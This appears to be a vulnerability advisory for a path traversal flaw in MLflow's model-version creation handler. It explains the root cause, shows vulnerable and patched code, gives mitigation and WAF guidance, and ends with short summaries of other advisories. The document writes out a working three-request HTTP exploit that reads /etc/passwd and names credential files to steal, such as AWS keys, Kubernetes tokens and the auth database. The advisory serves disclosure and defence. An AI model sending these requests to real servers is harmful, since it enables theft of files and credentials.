Oct 27, 2026·9 min read·10 visits
A path traversal flaw in MLflow 3.10.0 to 3.16.1 allows remote attackers to read arbitrary local files from the tracking server by registering a prompt-tagged model version with a schemeless relative source path and downloading artifacts from it.
MLflow versions 3.10.0 through 3.16.1 contain a path traversal vulnerability (CWE-22) in the model version creation handler. Specifically, the prompt-specific execution branch in `_create_model_version()` fails to validate schemeless relative paths and evaluates the `mlflow.prompt.is_prompt` tag based on key presence rather than value. An unauthenticated remote attacker on default deployments, or an authenticated low-privilege user on basic-auth deployments, can register a model version with a relative local path as its artifact source and subsequently retrieve arbitrary files from the server filesystem via the `/api/2.0/mlflow/model-versions/get-artifact` endpoint.
MLflow is an open-source platform designed to manage the machine learning and artificial intelligence engineering lifecycle, including experiment tracking, model registry, and prompt management. The MLflow Tracking Server exposes a REST API over HTTP that allows clients to create experiments, log runs, register models, and retrieve stored artifacts. By default, the mlflow server command initializes this HTTP interface without authentication enabled, exposing all model registry endpoints directly to network callers.
In version 3.10.0, MLflow introduced a specialized code branch inside the CreateModelVersion API handler (_create_model_version in mlflow/server/handlers.py) to remediate a prior vulnerability (CVE-2026-2614) involving prompt model versions. This handler processes incoming POST requests to /api/2.0/mlflow/model-versions/create and determines where the model version's underlying artifacts reside via the user-supplied source parameter.
CVE-2026-116690 (GHSA-m65p-9j7q-6w33) is a Path Traversal vulnerability (CWE-22) within this prompt validation logic affecting MLflow versions 3.10.0 through 3.16.1. Because the validation routine only inspects source strings that contain an explicit URL scheme or start with a leading forward slash, schemeless relative paths bypass verification and are stored directly as the model version's artifact location.
When a caller subsequently queries the /api/2.0/mlflow/model-versions/get-artifact endpoint for that model version, the server initializes a LocalArtifactRepository rooted at the attacker-controlled relative path. This allows unauthenticated callers on default deployments—or any authenticated user capable of creating registered models on --app-name basic-auth deployments—to read arbitrary files from the filesystem with the permissions of the MLflow server process.
The root cause of CVE-2026-116690 consists of two distinct logic flaws in mlflow/server/handlers.py that interact with the artifact resolution sink during model version creation and retrieval. Standard model versions must pass either _validate_source_model() or _validate_source_run(), which enforce strict checks ensuring the artifact source points to a valid model or run directory managed by MLflow. However, when a model version request is classified as a prompt, execution diverges into a custom validation branch that omits these structural checks.
First, the branch selector function _is_prompt_request() determines whether a request represents a prompt by checking any(tag.key == IS_PROMPT_TAG_KEY for tag in request_message.tags). This logic checks solely for the presence of the mlflow.prompt.is_prompt tag key while ignoring its associated value. Consequently, supplying a tag with "key": "mlflow.prompt.is_prompt" and "value": "false" (or an empty string) still routes execution into the weaker prompt validation branch.
Second, the URI validation inside the prompt branch relies on urllib.parse.urlparse(source) and applies incomplete filtering rules. The handler explicitly rejects sources where parsed.scheme == "file" or where parsed.scheme == "" and source.startswith("/"). It then conditionally invokes _validate_non_local_source_contains_relative_paths(source) only if parsed.scheme evaluates to a non-empty string.
If an attacker supplies a schemeless relative path such as ../../../../../etc, ., or a plain directory name, parsed.scheme is empty and source.startswith("/") is false. Both conditional guards are bypassed, and the unvalidated string is persisted in the model registry database as the version's artifact_uri. Additionally, on Windows hosts, drive-letter paths such as C:/Windows are parsed by urlparse as having scheme "c", which bypasses the "file" scheme block while resolving locally in the artifact handler.
During the exploitation phase, the get_model_version_artifact_handler() retrieves the stored artifact_uri and passes it to get_artifact_repository(artifact_uri). Because the URI lacks a remote scheme, MLflow instantiates a LocalArtifactRepository using the relative traversal string as its root directory. While the path query parameter passed to get-artifact undergoes validate_path_is_safe(path), a benign filename like passwd is joined onto the traversed repository root (../../../../../etc), causing Flask's send_file() to serve /etc/passwd.
In MLflow versions 3.10.0 through 3.16.1, _create_model_version() and _is_prompt_request() in mlflow/server/handlers.py contained the vulnerable validation logic:
# Vulnerable implementation in mlflow/server/handlers.py (3.10.0 - 3.16.1)
is_prompt = _is_prompt_request(request_message)
if is_prompt:
source = request_message.source
parsed = urllib.parse.urlparse(source)
# Blocks 'file://' and POSIX absolute paths ('/...'), but ignores relative paths
if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")):
raise MlflowException(
f"Invalid prompt source: '{source}'. "
"Local source paths are not allowed for prompts.",
INVALID_PARAMETER_VALUE,
)
# Only executes if a scheme is present (e.g., 's3://', 'http://')
if parsed.scheme:
_validate_non_local_source_contains_relative_paths(source)
else:
if request_message.model_id:
_validate_source_model(request_message.source, request_message.model_id)
else:
_validate_source_run(request_message.source, request_message.run_id)
# Evaluates to True regardless of the tag's actual value
def _is_prompt_request(request_message):
return any(tag.key == IS_PROMPT_TAG_KEY for tag in request_message.tags)The official patch in commit 81730a2ce4ebcd60d5d18f68c96f422ad7e30772 (PR #25870) resolves both weaknesses by introducing strict placeholder allowlisting in mlflow/prompt/constants.py and replacing the ad-hoc urlparse checks in mlflow/server/handlers.py.
# Patched constants in mlflow/prompt/constants.py
_CLIENT_PROMPT_SOURCE_PLACEHOLDER = "dummy-source"
_STORE_PROMPT_SOURCE_PLACEHOLDER = "prompt-template"
_PROMPT_SOURCE_PLACEHOLDERS = frozenset({
_CLIENT_PROMPT_SOURCE_PLACEHOLDER,
_STORE_PROMPT_SOURCE_PLACEHOLDER,
})In mlflow/server/handlers.py, the patch defines _validate_prompt_source() and updates _is_prompt_request():
# Patched implementation in mlflow/server/handlers.py (3.17.0+)
def _validate_prompt_source(source: str) -> None:
# Uses get_uri_scheme() so Windows drive letters ('C:/...') return empty/local scheme
scheme = get_uri_scheme(source)
if scheme and scheme != "file":
_validate_non_local_source_contains_relative_paths(source)
return
# Rejects all local/schemeless paths except hardcoded MLflow internal placeholders
if source not in _PROMPT_SOURCE_PLACEHOLDERS:
raise MlflowException(
f"Invalid prompt source: '{source}'. Local source paths are not allowed for prompts.",
INVALID_PARAMETER_VALUE,
)
def _is_prompt_request(request_message):
# Collapses tags by key (last value wins) and requires explicit 'true' value
tags = {tag.key: tag.value for tag in request_message.tags}
return tags.get(IS_PROMPT_TAG_KEY, "false").lower() == "true"> [!NOTE]
> Fix Completeness Assessment: The remediation is comprehensive for this code path. Prompt model versions store their text inside the mlflow.prompt.text tag rather than on the filesystem, meaning they never legitimately require local artifact directories. By switching from a blocklist of path prefixes to an explicit allowlist of two static placeholder literals ("dummy-source" and "prompt-template") for schemeless inputs, and by utilizing get_uri_scheme() to properly classify Windows drive letters as local paths, the patch eliminates relative traversal, single-directory exposure, and OS-specific URI parsing discrepancies.
Exploiting CVE-2026-116690 requires network access to the MLflow Tracking Server HTTP interface where model registry routes are enabled. On default installations (mlflow server), no authentication is required. On servers configured with --app-name basic-auth, the attacker must authenticate with any standard user account, as all authenticated users are permitted to create registered models by default.
The exploitation sequence consists of three HTTP requests. First, the attacker creates a new registered model container using the /api/2.0/mlflow/registered-models/create endpoint:
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: target-mlflow:5000
Content-Type: application/json
{
"name": "exploit-model"
}Second, the attacker creates a model version under exploit-model via /api/2.0/mlflow/model-versions/create. The payload includes the mlflow.prompt.is_prompt tag to enter the vulnerable branch and sets source to a relative path traversing from the server's current working directory to the directory containing the target file (such as /etc):
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: target-mlflow:5000
Content-Type: application/json
{
"name": "exploit-model",
"source": "../../../../../etc",
"tags": [
{
"key": "mlflow.prompt.is_prompt",
"value": "true"
}
]
}Third, once the server registers the model version (e.g., version=1), the attacker sends a GET request to /api/2.0/mlflow/model-versions/get-artifact. By specifying the target filename in the path parameter, the server resolves ../../../../../etc/passwd and returns the file contents in the HTTP response body:
GET /api/2.0/mlflow/model-versions/get-artifact?name=exploit-model&version=1&path=passwd HTTP/1.1
Host: target-mlflow:5000Because the path parameter itself is validated by validate_path_is_safe(), the traversal sequences (../) must be placed inside the source attribute during Step 2, while path in Step 3 specifies a clean relative path or filename beneath the traversed root directory.
The vulnerability carries a CVSS v3.1 base score of 7.5 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Exploitation grants arbitrary read access to any file on the server's filesystem that is readable by the operating system user running the MLflow process. There is no direct file write or deletion capability through this vector, resulting in High impact to Confidentiality and None to Integrity or Availability.
In environments running MLflow with basic authentication enabled (--app-name basic-auth), this arbitrary file read directly enables privilege escalation. MLflow's built-in authentication stores user accounts and administrative password hashes in a local SQLite database file (commonly basic_auth.db or mlflow-auth.db in the working directory). A low-privilege user can traverse to the server's working directory (e.g., using source: ".") and download the SQLite authentication database.
In cloud and containerized ML deployments, the MLflow server process typically holds credentials for backend object storage and compute infrastructure. Attackers can leverage CVE-2026-116690 to exfiltrate AWS credentials (~/.aws/credentials), Azure configuration tokens (~/.azure/), Kubernetes service account bearer tokens (/var/run/secrets/kubernetes.io/serviceaccount/token), /proc/self/environ process environment variables, and the primary MLflow tracking SQLite database (mlflow.db).
At the time of publication, CVE-2026-116690 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, functional proof-of-concept payloads are publicly documented in the official GitHub Security Advisory and repository regression test suites, making automated exploitation trivial against exposed instances.
Administrators and developers using MLflow must upgrade to version 3.17.0 or later immediately. Version 3.17.0 contains commit 81730a2ce4ebcd60d5d18f68c96f422ad7e30772, which restricts schemeless prompt sources to internal placeholders and enforces boolean validation on the mlflow.prompt.is_prompt tag.
pip install --upgrade "mlflow>=3.17.0"If immediate patching is not feasible, access to the MLflow Tracking Server must be restricted at the network and gateway layers. Place the MLflow server behind an authenticating reverse proxy (such as Envoy, NGINX, or OAuth2 Proxy) and restrict network ingress to trusted internal subnets or VPNs. Note that enabling MLflow's built-in --app-name basic-auth alone does not fully mitigate this vulnerability against authenticated users unless untrusted users are completely barred from accessing the server.
For defense-in-depth, configure a Web Application Firewall (WAF) or reverse proxy rule to inspect POST requests to /api/2.0/mlflow/model-versions/create and /ajax-api/2.0/mlflow/model-versions/create. Block requests where the JSON body contains mlflow.prompt.is_prompt alongside source values containing .., backslashes, or local paths other than dummy-source and prompt-template.
Finally, audit existing MLflow model registry databases (model_versions table) for any previously created versions where source contains relative path segments (..) or unexpected local filesystem references, and ensure the MLflow daemon runs under a dedicated, low-privilege operating system account.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
mlflow mlflow | >= 3.10.0, < 3.17.0 | 3.17.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-116690 |
| CWE Classification | CWE-22 (Path Traversal) |
| CVSS v3.1 Score | 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| Affected Versions | MLflow >= 3.10.0, < 3.17.0 |
| Patched Version | MLflow 3.17.0 |
| Attack Vector | Network (HTTP REST API /api/2.0/mlflow/model-versions/create) |
| Impact | Arbitrary Local File Read |
| Exploit Status | Public Proof-of-Concept (GHSA-m65p-9j7q-6w33) |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can resolve to a location outside of the restricted directory.
CVE-2026-116693 is a high-severity Regular Expression Denial of Service (ReDoS) vulnerability affecting the official Datadog Application Performance Monitoring (APM) client library for Node.js, dd-trace. The defect resides in the default regular expression defined by the DD_TRACE_OBFUSCATION_QUERY_STRING_REGEXP configuration parameter, which is used to sanitize incoming and outgoing HTTP URL query strings prior to recording trace span metadata. Due to overlapping sub-patterns and unanchored repetition blocks in the JSON Web Token (JWT) and URL-encoded string matching branches, the V8 JavaScript engine's regular expression subsystem (Irregexp) can be forced into catastrophic or high-degree polynomial backtracking. Because regular expression replacement occurs synchronously on the primary Node.js event loop, an unauthenticated remote attacker can send crafted HTTP requests with malicious query strings to consume 100% of the process CPU core, stalling concurrent request processing and rendering the application unavailable.
CVE-2026-116692 (GHSA-26p8-2jq9-3vq9) is a remote code execution vulnerability in MLflow affecting versions 3.12.0rc0 prior to 3.17.0. The flaw stems from an overly permissive module prefix check during the deserialization of third-party GenAI evaluation scorers in mlflow/genai/scorers/base.py. By setting an experiment's artifact root to a local package directory within the Python module search path and uploading a crafted Python file as a run artifact, an attacker can invoke the /ajax-api/3.0/mlflow/scorer/invoke endpoint to dynamically import and execute arbitrary code on the MLflow tracking server.
CVE-2026-116691 (GHSA-j7qq-vr8c-xvw3) is a sensitive credential disclosure vulnerability in the MLflow platform affecting versions 2.19.0 through 3.16.x. When CrewAI autologging is enabled via mlflow.crewai.autolog(), the tracing instrumentation fails to sanitize nested CrewAI LLM objects before serializing them into OpenTelemetry trace spans. Consequently, plaintext LLM provider API keys are extracted from object dictionaries and string representations, then transmitted and stored in MLflow tracking servers or external OpenTelemetry Protocol (OTLP) telemetry backends.
CVE-2026-109383 (GHSA-2m5v-pch6-74hx) is an improper certificate validation vulnerability (CWE-295) in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js. In affected versions, the Agent constructor clones configuration options using a JSON-based deep clone function (util.deepClone), which executes JSON.parse(JSON.stringify(options)). Because JSON serialization omits function properties, custom certificate validation callbacks passed via the tls configuration option—such as tls.checkServerIdentity—are silently stripped before being passed to origin connection pools. Consequently, connections fall back to standard Node.js TLS validation, bypassing custom certificate pinning or hostname verification rules and allowing an Adversary-in-the-Middle (AitM) with a CA-trusted certificate to intercept and modify traffic.
A cache key origin desynchronization and intermediate Cache-Control suppression vulnerability exists in the Node.js Undici HTTP client library. When an originless Agent composes the redirect and cache interceptors in the order compose(redirect(), cache()) with a shared cache store, cross-origin responses and sensitive redirected resources are stored under the initial request's cache key.
CVE-2026-109855 is a high-severity Denial of Service (DoS) vulnerability in undici, the primary HTTP/1.1 and HTTP/2 client library for Node.js maintained under the OpenJS Foundation. In versions 8.11.0 and 8.11.1, the WebSocket client fails to properly terminate underlying ClientHttp2Stream instances when an HTTP/2 WebSocket handshake fails validation. When the remote server subsequently closes or resets the stream, Node.js emits an unhandled error event on the orphaned stream, crashing the client process.